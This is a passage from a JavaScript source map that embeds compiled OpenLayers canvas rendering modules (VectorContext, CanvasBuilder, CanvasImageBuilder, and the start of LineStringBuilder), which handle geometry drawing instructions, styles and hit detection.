sourceMappingURL=Instruction.js.map","/**\n * @module ol/render/VectorContext\n */\n/**\n * @classdesc\n * Context for drawing geometries. A vector context is available on render\n * events and does not need to be constructed directly.\n * @api\n */\nvar VectorContext = /** @class */ (function () {\n function VectorContext() {\n }\n /**\n * Render a geometry with a custom renderer.\n *\n * @param {import(\"../geom/SimpleGeometry.js\").default} geometry Geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n * @param {Function} renderer Renderer.\n * @param {Function} hitDetectionRenderer Renderer.\n */\n VectorContext.prototype.drawCustom = function (geometry, feature, renderer, hitDetectionRenderer) { };\n /**\n * Render a geometry.\n *\n * @param {import(\"../geom/Geometry.js\").default} geometry The geometry to render.\n */\n VectorContext.prototype.drawGeometry = function (geometry) { };\n /**\n * Set the rendering style.\n *\n * @param {import(\"../style/Style.js\").default} style The rendering style.\n */\n VectorContext.prototype.setStyle = function (style) { };\n /**\n * @param {import(\"../geom/Circle.js\").default} circleGeometry Circle geometry.\n * @param {import(\"../Feature.js\").default} feature Feature.\n */\n VectorContext.prototype.drawCircle = function (circleGeometry, feature) { };\n /**\n * @param {import(\"../Feature.js\").default} feature Feature.\n * @param {import(\"../style/Style.js\").default} style Style.\n */\n VectorContext.prototype.drawFeature = function (feature, style) { };\n /**\n * @param {import(\"../geom/GeometryCollection.js\").default} geometryCollectionGeometry Geometry collection.\n * @param {import(\"../Feature.js\").default} feature Feature.\n */\n VectorContext.prototype.drawGeometryCollection = function (geometryCollectionGeometry, feature) { };\n /**\n * @param {import(\"../geom/LineString.js\").default|import(\"./Feature.js\").default} lineStringGeometry Line string geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawLineString = function (lineStringGeometry, feature) { };\n /**\n * @param {import(\"../geom/MultiLineString.js\").default|import(\"./Feature.js\").default} multiLineStringGeometry MultiLineString geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawMultiLineString = function (multiLineStringGeometry, feature) { };\n /**\n * @param {import(\"../geom/MultiPoint.js\").default|import(\"./Feature.js\").default} multiPointGeometry MultiPoint geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawMultiPoint = function (multiPointGeometry, feature) { };\n /**\n * @param {import(\"../geom/MultiPolygon.js\").default} multiPolygonGeometry MultiPolygon geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawMultiPolygon = function (multiPolygonGeometry, feature) { };\n /**\n * @param {import(\"../geom/Point.js\").default|import(\"./Feature.js\").default} pointGeometry Point geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawPoint = function (pointGeometry, feature) { };\n /**\n * @param {import(\"../geom/Polygon.js\").default|import(\"./Feature.js\").default} polygonGeometry Polygon geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawPolygon = function (polygonGeometry, feature) { };\n /**\n * @param {import(\"../geom/SimpleGeometry.js\").default|import(\"./Feature.js\").default} geometry Geometry.\n * @param {import(\"../Feature.js\").FeatureLike} feature Feature.\n */\n VectorContext.prototype.drawText = function (geometry, feature) { };\n /**\n * @param {import(\"../style/Fill.js\").default} fillStyle Fill style.\n * @param {import(\"../style/Stroke.js\").default} strokeStyle Stroke style.\n */\n VectorContext.prototype.setFillStrokeStyle = function (fillStyle, strokeStyle) { };\n /**\n * @param {import(\"../style/Image.js\").default} imageStyle Image style.\n * @param {import(\"../render/canvas.js\").DeclutterImageWithText} [opt_declutterImageWithText] Shared data for combined decluttering with a text style.\n */\n VectorContext.prototype.setImageStyle = function (imageStyle, opt_declutterImageWithText) { };\n /**\n * @param {import(\"../style/Text.js\").default} textStyle Text style.\n * @param {import(\"../render/canvas.js\").DeclutterImageWithText} [opt_declutterImageWithText] Shared data for combined decluttering with an image style.\n */\n VectorContext.prototype.setTextStyle = function (textStyle, opt_declutterImageWithText) { };\n return VectorContext;\n}());\nexport default VectorContext;\n//# sourceMappingURL=VectorContext.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/render/canvas/Builder\n */\nimport CanvasInstruction from './Instruction.js';\nimport Relationship from '../../extent/Relationship.js';\nimport VectorContext from '../VectorContext.js';\nimport { asColorLike } from '../../colorlike.js';\nimport { buffer, clone, containsCoordinate, coordinateRelationship, } from '../../extent.js';\nimport { defaultFillStyle, defaultLineCap, defaultLineDash, defaultLineDashOffset, defaultLineJoin, defaultLineWidth, defaultMiterLimit, defaultStrokeStyle, } from '../canvas.js';\nimport { equals, reverseSubArray } from '../../array.js';\nimport { inflateCoordinates, inflateCoordinatesArray, inflateMultiCoordinatesArray, } from '../../geom/flat/inflate.js';\nvar CanvasBuilder = /** @class */ (function (_super) {\n __extends(CanvasBuilder, _super);\n /**\n * @param {number} tolerance Tolerance.\n * @param {import(\"../../extent.js\").Extent} maxExtent Maximum extent.\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n */\n function CanvasBuilder(tolerance, maxExtent, resolution, pixelRatio) {\n var _this = _super.call(this) || this;\n /**\n * @protected\n * @type {number}\n */\n _this.tolerance = tolerance;\n /**\n * @protected\n * @const\n * @type {import(\"../../extent.js\").Extent}\n */\n _this.maxExtent = maxExtent;\n /**\n * @protected\n * @type {number}\n */\n _this.pixelRatio = pixelRatio;\n /**\n * @protected\n * @type {number}\n */\n _this.maxLineWidth = 0;\n /**\n * @protected\n * @const\n * @type {number}\n */\n _this.resolution = resolution;\n /**\n * @private\n * @type {Array<*>}\n */\n _this.beginGeometryInstruction1_ = null;\n /**\n * @private\n * @type {Array<*>}\n */\n _this.beginGeometryInstruction2_ = null;\n /**\n * @private\n * @type {import(\"../../extent.js\").Extent}\n */\n _this.bufferedMaxExtent_ = null;\n /**\n * @protected\n * @type {Array<*>}\n */\n _this.instructions = [];\n /**\n * @protected\n * @type {Array<number>}\n */\n _this.coordinates = [];\n /**\n * @private\n * @type {import(\"../../coordinate.js\").Coordinate}\n */\n _this.tmpCoordinate_ = [];\n /**\n * @protected\n * @type {Array<*>}\n */\n _this.hitDetectionInstructions = [];\n /**\n * @protected\n * @type {import(\"../canvas.js\").FillStrokeState}\n */\n _this.state = /** @type {import(\"../canvas.js\").FillStrokeState} */ ({});\n return _this;\n }\n /**\n * @protected\n * @param {Array<number>} dashArray Dash array.\n * @return {Array<number>} Dash array with pixel ratio applied\n */\n CanvasBuilder.prototype.applyPixelRatio = function (dashArray) {\n var pixelRatio = this.pixelRatio;\n return pixelRatio == 1\n ? dashArray\n : dashArray.map(function (dash) {\n return dash * pixelRatio;\n });\n };\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} stride Stride.\n * @protected\n * @return {number} My end\n */\n CanvasBuilder.prototype.appendFlatPointCoordinates = function (flatCoordinates, stride) {\n var extent = this.getBufferedMaxExtent();\n var tmpCoord = this.tmpCoordinate_;\n var coordinates = this.coordinates;\n var myEnd = coordinates.length;\n for (var i = 0, ii = flatCoordinates.length; i < ii; i += stride) {\n tmpCoord[0] = flatCoordinates[i];\n tmpCoord[1] = flatCoordinates[i + 1];\n if (containsCoordinate(extent, tmpCoord)) {\n coordinates[myEnd++] = tmpCoord[0];\n coordinates[myEnd++] = tmpCoord[1];\n }\n }\n return myEnd;\n };\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {boolean} closed Last input coordinate equals first.\n * @param {boolean} skipFirst Skip first coordinate.\n * @protected\n * @return {number} My end.\n */\n CanvasBuilder.prototype.appendFlatLineCoordinates = function (flatCoordinates, offset, end, stride, closed, skipFirst) {\n var coordinates = this.coordinates;\n var myEnd = coordinates.length;\n var extent = this.getBufferedMaxExtent();\n if (skipFirst) {\n offset += stride;\n }\n var lastXCoord = flatCoordinates[offset];\n var lastYCoord = flatCoordinates[offset + 1];\n var nextCoord = this.tmpCoordinate_;\n var skipped = true;\n var i, lastRel, nextRel;\n for (i = offset + stride; i < end; i += stride) {\n nextCoord[0] = flatCoordinates[i];\n nextCoord[1] = flatCoordinates[i + 1];\n nextRel = coordinateRelationship(extent, nextCoord);\n if (nextRel !== lastRel) {\n if (skipped) {\n coordinates[myEnd++] = lastXCoord;\n coordinates[myEnd++] = lastYCoord;\n skipped = false;\n }\n coordinates[myEnd++] = nextCoord[0];\n coordinates[myEnd++] = nextCoord[1];\n }\n else if (nextRel === Relationship.INTERSECTING) {\n coordinates[myEnd++] = nextCoord[0];\n coordinates[myEnd++] = nextCoord[1];\n skipped = false;\n }\n else {\n skipped = true;\n }\n lastXCoord = nextCoord[0];\n lastYCoord = nextCoord[1];\n lastRel = nextRel;\n }\n // Last coordinate equals first or only one point to append:\n if ((closed && skipped) || i === offset + stride) {\n coordinates[myEnd++] = lastXCoord;\n coordinates[myEnd++] = lastYCoord;\n }\n return myEnd;\n };\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {Array<number>} builderEnds Builder ends.\n * @return {number} Offset.\n */\n CanvasBuilder.prototype.drawCustomCoordinates_ = function (flatCoordinates, offset, ends, stride, builderEnds) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n var builderEnd = this.appendFlatLineCoordinates(flatCoordinates, offset, end, stride, false, false);\n builderEnds.push(builderEnd);\n offset = end;\n }\n return offset;\n };\n /**\n * @param {import(\"../../geom/SimpleGeometry.js\").default} geometry Geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n * @param {Function} renderer Renderer.\n * @param {Function} hitDetectionRenderer Renderer.\n */\n CanvasBuilder.prototype.drawCustom = function (geometry, feature, renderer, hitDetectionRenderer) {\n this.beginGeometry(geometry, feature);\n var type = geometry.getType();\n var stride = geometry.getStride();\n var builderBegin = this.coordinates.length;\n var flatCoordinates, builderEnd, builderEnds, builderEndss;\n var offset;\n switch (type) {\n case 'MultiPolygon':\n flatCoordinates =\n /** @type {import(\"../../geom/MultiPolygon.js\").default} */ (geometry).getOrientedFlatCoordinates();\n builderEndss = [];\n var endss = \n /** @type {import(\"../../geom/MultiPolygon.js\").default} */ (geometry).getEndss();\n offset = 0;\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var myEnds = [];\n offset = this.drawCustomCoordinates_(flatCoordinates, offset, endss[i], stride, myEnds);\n builderEndss.push(myEnds);\n }\n this.instructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEndss,\n geometry,\n renderer,\n inflateMultiCoordinatesArray,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEndss,\n geometry,\n hitDetectionRenderer || renderer,\n inflateMultiCoordinatesArray,\n ]);\n break;\n case 'Polygon':\n case 'MultiLineString':\n builderEnds = [];\n flatCoordinates =\n type == 'Polygon'\n ? /** @type {import(\"../../geom/Polygon.js\").default} */ (geometry).getOrientedFlatCoordinates()\n : geometry.getFlatCoordinates();\n offset = this.drawCustomCoordinates_(flatCoordinates, 0, \n /** @type {import(\"../../geom/Polygon.js\").default|import(\"../../geom/MultiLineString.js\").default} */ (geometry).getEnds(), stride, builderEnds);\n this.instructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnds,\n geometry,\n renderer,\n inflateCoordinatesArray,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnds,\n geometry,\n hitDetectionRenderer || renderer,\n inflateCoordinatesArray,\n ]);\n break;\n case 'LineString':\n case 'Circle':\n flatCoordinates = geometry.getFlatCoordinates();\n builderEnd = this.appendFlatLineCoordinates(flatCoordinates, 0, flatCoordinates.length, stride, false, false);\n this.instructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnd,\n geometry,\n renderer,\n inflateCoordinates,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnd,\n geometry,\n hitDetectionRenderer || renderer,\n inflateCoordinates,\n ]);\n break;\n case 'MultiPoint':\n flatCoordinates = geometry.getFlatCoordinates();\n builderEnd = this.appendFlatPointCoordinates(flatCoordinates, stride);\n if (builderEnd > builderBegin) {\n this.instructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnd,\n geometry,\n renderer,\n inflateCoordinates,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnd,\n geometry,\n hitDetectionRenderer || renderer,\n inflateCoordinates,\n ]);\n }\n break;\n case 'Point':\n flatCoordinates = geometry.getFlatCoordinates();\n this.coordinates.push(flatCoordinates[0], flatCoordinates[1]);\n builderEnd = this.coordinates.length;\n this.instructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnd,\n geometry,\n renderer,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.CUSTOM,\n builderBegin,\n builderEnd,\n geometry,\n hitDetectionRenderer || renderer,\n ]);\n break;\n default:\n }\n this.endGeometry(feature);\n };\n /**\n * @protected\n * @param {import(\"../../geom/Geometry\").default|import(\"../Feature.js\").default} geometry The geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasBuilder.prototype.beginGeometry = function (geometry, feature) {\n this.beginGeometryInstruction1_ = [\n CanvasInstruction.BEGIN_GEOMETRY,\n feature,\n 0,\n geometry,\n ];\n this.instructions.push(this.beginGeometryInstruction1_);\n this.beginGeometryInstruction2_ = [\n CanvasInstruction.BEGIN_GEOMETRY,\n feature,\n 0,\n geometry,\n ];\n this.hitDetectionInstructions.push(this.beginGeometryInstruction2_);\n };\n /**\n * @return {import(\"../canvas.js\").SerializableInstructions} the serializable instructions.\n */\n CanvasBuilder.prototype.finish = function () {\n return {\n instructions: this.instructions,\n hitDetectionInstructions: this.hitDetectionInstructions,\n coordinates: this.coordinates,\n };\n };\n /**\n * Reverse the hit detection instructions.\n */\n CanvasBuilder.prototype.reverseHitDetectionInstructions = function () {\n var hitDetectionInstructions = this.hitDetectionInstructions;\n // step 1 - reverse array\n hitDetectionInstructions.reverse();\n // step 2 - reverse instructions within geometry blocks\n var i;\n var n = hitDetectionInstructions.length;\n var instruction;\n var type;\n var begin = -1;\n for (i = 0; i < n; ++i) {\n instruction = hitDetectionInstructions[i];\n type = /** @type {import(\"./Instruction.js\").default} */ (instruction[0]);\n if (type == CanvasInstruction.END_GEOMETRY) {\n begin = i;\n }\n else if (type == CanvasInstruction.BEGIN_GEOMETRY) {\n instruction[2] = i;\n reverseSubArray(this.hitDetectionInstructions, begin, i);\n begin = -1;\n }\n }\n };\n /**\n * @param {import(\"../../style/Fill.js\").default} fillStyle Fill style.\n * @param {import(\"../../style/Stroke.js\").default} strokeStyle Stroke style.\n */\n CanvasBuilder.prototype.setFillStrokeStyle = function (fillStyle, strokeStyle) {\n var state = this.state;\n if (fillStyle) {\n var fillStyleColor = fillStyle.getColor();\n state.fillStyle = asColorLike(fillStyleColor ? fillStyleColor : defaultFillStyle);\n }\n else {\n state.fillStyle = undefined;\n }\n if (strokeStyle) {\n var strokeStyleColor = strokeStyle.getColor();\n state.strokeStyle = asColorLike(strokeStyleColor ? strokeStyleColor : defaultStrokeStyle);\n var strokeStyleLineCap = strokeStyle.getLineCap();\n state.lineCap =\n strokeStyleLineCap !== undefined ? strokeStyleLineCap : defaultLineCap;\n var strokeStyleLineDash = strokeStyle.getLineDash();\n state.lineDash = strokeStyleLineDash\n ? strokeStyleLineDash.slice()\n : defaultLineDash;\n var strokeStyleLineDashOffset = strokeStyle.getLineDashOffset();\n state.lineDashOffset = strokeStyleLineDashOffset\n ? strokeStyleLineDashOffset\n : defaultLineDashOffset;\n var strokeStyleLineJoin = strokeStyle.getLineJoin();\n state.lineJoin =\n strokeStyleLineJoin !== undefined\n ? strokeStyleLineJoin\n : defaultLineJoin;\n var strokeStyleWidth = strokeStyle.getWidth();\n state.lineWidth =\n strokeStyleWidth !== undefined ? strokeStyleWidth : defaultLineWidth;\n var strokeStyleMiterLimit = strokeStyle.getMiterLimit();\n state.miterLimit =\n strokeStyleMiterLimit !== undefined\n ? strokeStyleMiterLimit\n : defaultMiterLimit;\n if (state.lineWidth > this.maxLineWidth) {\n this.maxLineWidth = state.lineWidth;\n // invalidate the buffered max extent cache\n this.bufferedMaxExtent_ = null;\n }\n }\n else {\n state.strokeStyle = undefined;\n state.lineCap = undefined;\n state.lineDash = null;\n state.lineDashOffset = undefined;\n state.lineJoin = undefined;\n state.lineWidth = undefined;\n state.miterLimit = undefined;\n }\n };\n /**\n * @param {import(\"../canvas.js\").FillStrokeState} state State.\n * @return {Array<*>} Fill instruction.\n */\n CanvasBuilder.prototype.createFill = function (state) {\n var fillStyle = state.fillStyle;\n /** @type {Array<*>} */\n var fillInstruction = [CanvasInstruction.SET_FILL_STYLE, fillStyle];\n if (typeof fillStyle !== 'string') {\n // Fill is a pattern or gradient - align it!\n fillInstruction.push(true);\n }\n return fillInstruction;\n };\n /**\n * @param {import(\"../canvas.js\").FillStrokeState} state State.\n */\n CanvasBuilder.prototype.applyStroke = function (state) {\n this.instructions.push(this.createStroke(state));\n };\n /**\n * @param {import(\"../canvas.js\").FillStrokeState} state State.\n * @return {Array<*>} Stroke instruction.\n */\n CanvasBuilder.prototype.createStroke = function (state) {\n return [\n CanvasInstruction.SET_STROKE_STYLE,\n state.strokeStyle,\n state.lineWidth * this.pixelRatio,\n state.lineCap,\n state.lineJoin,\n state.miterLimit,\n this.applyPixelRatio(state.lineDash),\n state.lineDashOffset * this.pixelRatio,\n ];\n };\n /**\n * @param {import(\"../canvas.js\").FillStrokeState} state State.\n * @param {function(this:CanvasBuilder, import(\"../canvas.js\").FillStrokeState):Array<*>} createFill Create fill.\n */\n CanvasBuilder.prototype.updateFillStyle = function (state, createFill) {\n var fillStyle = state.fillStyle;\n if (typeof fillStyle !== 'string' || state.currentFillStyle != fillStyle) {\n if (fillStyle !== undefined) {\n this.instructions.push(createFill.call(this, state));\n }\n state.currentFillStyle = fillStyle;\n }\n };\n /**\n * @param {import(\"../canvas.js\").FillStrokeState} state State.\n * @param {function(this:CanvasBuilder, import(\"../canvas.js\").FillStrokeState): void} applyStroke Apply stroke.\n */\n CanvasBuilder.prototype.updateStrokeStyle = function (state, applyStroke) {\n var strokeStyle = state.strokeStyle;\n var lineCap = state.lineCap;\n var lineDash = state.lineDash;\n var lineDashOffset = state.lineDashOffset;\n var lineJoin = state.lineJoin;\n var lineWidth = state.lineWidth;\n var miterLimit = state.miterLimit;\n if (state.currentStrokeStyle != strokeStyle ||\n state.currentLineCap != lineCap ||\n (lineDash != state.currentLineDash &&\n !equals(state.currentLineDash, lineDash)) ||\n state.currentLineDashOffset != lineDashOffset ||\n state.currentLineJoin != lineJoin ||\n state.currentLineWidth != lineWidth ||\n state.currentMiterLimit != miterLimit) {\n if (strokeStyle !== undefined) {\n applyStroke.call(this, state);\n }\n state.currentStrokeStyle = strokeStyle;\n state.currentLineCap = lineCap;\n state.currentLineDash = lineDash;\n state.currentLineDashOffset = lineDashOffset;\n state.currentLineJoin = lineJoin;\n state.currentLineWidth = lineWidth;\n state.currentMiterLimit = miterLimit;\n }\n };\n /**\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasBuilder.prototype.endGeometry = function (feature) {\n this.beginGeometryInstruction1_[2] = this.instructions.length;\n this.beginGeometryInstruction1_ = null;\n this.beginGeometryInstruction2_[2] = this.hitDetectionInstructions.length;\n this.beginGeometryInstruction2_ = null;\n var endGeometryInstruction = [CanvasInstruction.END_GEOMETRY, feature];\n this.instructions.push(endGeometryInstruction);\n this.hitDetectionInstructions.push(endGeometryInstruction);\n };\n /**\n * Get the buffered rendering extent. Rendering will be clipped to the extent\n * provided to the constructor. To account for symbolizers that may intersect\n * this extent, we calculate a buffered extent (e.g. based on stroke width).\n * @return {import(\"../../extent.js\").Extent} The buffered rendering extent.\n * @protected\n */\n CanvasBuilder.prototype.getBufferedMaxExtent = function () {\n if (!this.bufferedMaxExtent_) {\n this.bufferedMaxExtent_ = clone(this.maxExtent);\n if (this.maxLineWidth > 0) {\n var width = (this.resolution * (this.maxLineWidth + 1)) / 2;\n buffer(this.bufferedMaxExtent_, width, this.bufferedMaxExtent_);\n }\n }\n return this.bufferedMaxExtent_;\n };\n return CanvasBuilder;\n}(VectorContext));\nexport default CanvasBuilder;\n//# sourceMappingURL=Builder.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/render/canvas/ImageBuilder\n */\nimport CanvasBuilder from './Builder.js';\nimport CanvasInstruction from './Instruction.js';\nvar CanvasImageBuilder = /** @class */ (function (_super) {\n __extends(CanvasImageBuilder, _super);\n /**\n * @param {number} tolerance Tolerance.\n * @param {import(\"../../extent.js\").Extent} maxExtent Maximum extent.\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n */\n function CanvasImageBuilder(tolerance, maxExtent, resolution, pixelRatio) {\n var _this = _super.call(this, tolerance, maxExtent, resolution, pixelRatio) || this;\n /**\n * @private\n * @type {HTMLCanvasElement|HTMLVideoElement|HTMLImageElement}\n */\n _this.hitDetectionImage_ = null;\n /**\n * @private\n * @type {HTMLCanvasElement|HTMLVideoElement|HTMLImageElement}\n */\n _this.image_ = null;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.imagePixelRatio_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.anchorX_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.anchorY_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.height_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.opacity_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.originX_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.originY_ = undefined;\n /**\n * @private\n * @type {boolean|undefined}\n */\n _this.rotateWithView_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.rotation_ = undefined;\n /**\n * @private\n * @type {import(\"../../size.js\").Size|undefined}\n */\n _this.scale_ = undefined;\n /**\n * @private\n * @type {number|undefined}\n */\n _this.width_ = undefined;\n /**\n * @private\n * @type {\"declutter\"|\"obstacle\"|\"none\"|undefined}\n */\n _this.declutterMode_ = undefined;\n /**\n * Data shared with a text builder for combined decluttering.\n * @private\n * @type {import(\"../canvas.js\").DeclutterImageWithText}\n */\n _this.declutterImageWithText_ = undefined;\n return _this;\n }\n /**\n * @param {import(\"../../geom/Point.js\").default|import(\"../Feature.js\").default} pointGeometry Point geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasImageBuilder.prototype.drawPoint = function (pointGeometry, feature) {\n if (!this.image_) {\n return;\n }\n this.beginGeometry(pointGeometry, feature);\n var flatCoordinates = pointGeometry.getFlatCoordinates();\n var stride = pointGeometry.getStride();\n var myBegin = this.coordinates.length;\n var myEnd = this.appendFlatPointCoordinates(flatCoordinates, stride);\n this.instructions.push([\n CanvasInstruction.DRAW_IMAGE,\n myBegin,\n myEnd,\n this.image_,\n // Remaining arguments to DRAW_IMAGE are in alphabetical order\n this.anchorX_ * this.imagePixelRatio_,\n this.anchorY_ * this.imagePixelRatio_,\n Math.ceil(this.height_ * this.imagePixelRatio_),\n this.opacity_,\n this.originX_ * this.imagePixelRatio_,\n this.originY_ * this.imagePixelRatio_,\n this.rotateWithView_,\n this.rotation_,\n [\n (this.scale_[0] * this.pixelRatio) / this.imagePixelRatio_,\n (this.scale_[1] * this.pixelRatio) / this.imagePixelRatio_,\n ],\n Math.ceil(this.width_ * this.imagePixelRatio_),\n this.declutterMode_,\n this.declutterImageWithText_,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.DRAW_IMAGE,\n myBegin,\n myEnd,\n this.hitDetectionImage_,\n // Remaining arguments to DRAW_IMAGE are in alphabetical order\n this.anchorX_,\n this.anchorY_,\n this.height_,\n this.opacity_,\n this.originX_,\n this.originY_,\n this.rotateWithView_,\n this.rotation_,\n this.scale_,\n this.width_,\n this.declutterMode_,\n this.declutterImageWithText_,\n ]);\n this.endGeometry(feature);\n };\n /**\n * @param {import(\"../../geom/MultiPoint.js\").default|import(\"../Feature.js\").default} multiPointGeometry MultiPoint geometry.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n */\n CanvasImageBuilder.prototype.drawMultiPoint = function (multiPointGeometry, feature) {\n if (!this.image_) {\n return;\n }\n this.beginGeometry(multiPointGeometry, feature);\n var flatCoordinates = multiPointGeometry.getFlatCoordinates();\n var stride = multiPointGeometry.getStride();\n var myBegin = this.coordinates.length;\n var myEnd = this.appendFlatPointCoordinates(flatCoordinates, stride);\n this.instructions.push([\n CanvasInstruction.DRAW_IMAGE,\n myBegin,\n myEnd,\n this.image_,\n // Remaining arguments to DRAW_IMAGE are in alphabetical order\n this.anchorX_ * this.imagePixelRatio_,\n this.anchorY_ * this.imagePixelRatio_,\n Math.ceil(this.height_ * this.imagePixelRatio_),\n this.opacity_,\n this.originX_ * this.imagePixelRatio_,\n this.originY_ * this.imagePixelRatio_,\n this.rotateWithView_,\n this.rotation_,\n [\n (this.scale_[0] * this.pixelRatio) / this.imagePixelRatio_,\n (this.scale_[1] * this.pixelRatio) / this.imagePixelRatio_,\n ],\n Math.ceil(this.width_ * this.imagePixelRatio_),\n this.declutterMode_,\n this.declutterImageWithText_,\n ]);\n this.hitDetectionInstructions.push([\n CanvasInstruction.DRAW_IMAGE,\n myBegin,\n myEnd,\n this.hitDetectionImage_,\n // Remaining arguments to DRAW_IMAGE are in alphabetical order\n this.anchorX_,\n this.anchorY_,\n this.height_,\n this.opacity_,\n this.originX_,\n this.originY_,\n this.rotateWithView_,\n this.rotation_,\n this.scale_,\n this.width_,\n this.declutterMode_,\n this.declutterImageWithText_,\n ]);\n this.endGeometry(feature);\n };\n /**\n * @return {import(\"../canvas.js\").SerializableInstructions} the serializable instructions.\n */\n CanvasImageBuilder.prototype.finish = function () {\n this.reverseHitDetectionInstructions();\n // FIXME this doesn't really protect us against further calls to draw*Geometry\n this.anchorX_ = undefined;\n this.anchorY_ = undefined;\n this.hitDetectionImage_ = null;\n this.image_ = null;\n this.imagePixelRatio_ = undefined;\n this.height_ = undefined;\n this.scale_ = undefined;\n this.opacity_ = undefined;\n this.originX_ = undefined;\n this.originY_ = undefined;\n this.rotateWithView_ = undefined;\n this.rotation_ = undefined;\n this.width_ = undefined;\n return _super.prototype.finish.call(this);\n };\n /**\n * @param {import(\"../../style/Image.js\").default} imageStyle Image style.\n * @param {Object} [opt_sharedData] Shared data.\n */\n CanvasImageBuilder.prototype.setImageStyle = function (imageStyle, opt_sharedData) {\n var anchor = imageStyle.getAnchor();\n var size = imageStyle.getSize();\n var origin = imageStyle.getOrigin();\n this.imagePixelRatio_ = imageStyle.getPixelRatio(this.pixelRatio);\n this.anchorX_ = anchor[0];\n this.anchorY_ = anchor[1];\n this.hitDetectionImage_ = imageStyle.getHitDetectionImage();\n this.image_ = imageStyle.getImage(this.pixelRatio);\n this.height_ = size[1];\n this.opacity_ = imageStyle.getOpacity();\n this.originX_ = origin[0];\n this.originY_ = origin[1];\n this.rotateWithView_ = imageStyle.getRotateWithView();\n this.rotation_ = imageStyle.getRotation();\n this.scale_ = imageStyle.getScaleArray();\n this.width_ = size[0];\n this.declutterMode_ = imageStyle.getDeclutterMode();\n this.declutterImageWithText_ = opt_sharedData;\n };\n return CanvasImageBuilder;\n}(CanvasBuilder));\nexport default CanvasImageBuilder;\n//# sourceMappingURL=ImageBuilder.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/render/canvas/LineStringBuilder\n */\nimport CanvasBuilder from './Builder.js';\nimport CanvasInstruction, { beginPathInstruction, strokeInstruction, } from './Instruction.js';\nimport { defaultLineDash, 